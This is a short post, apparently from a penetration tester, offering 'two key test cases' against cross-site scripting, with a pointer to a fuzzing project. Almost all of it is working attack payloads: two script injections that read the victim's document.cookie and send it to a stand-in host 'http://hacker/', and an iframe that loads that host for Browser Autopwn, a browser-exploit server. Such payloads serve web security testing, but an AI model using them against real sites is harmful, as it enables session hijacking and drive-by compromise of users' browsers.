[XSS]Two key test cases against Cross Site Scripting

 Stealing Cookie:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

<script>var i = new Image();i.src="http://hacker/log.php?q="+document.cookie;</script>

Work with Browser Autopwn:

<IFRAME src='http://hacker'><\/IFRAME>

For more information, refer to my project at "https://github.com/d3m0n4l3x/alexfuzz".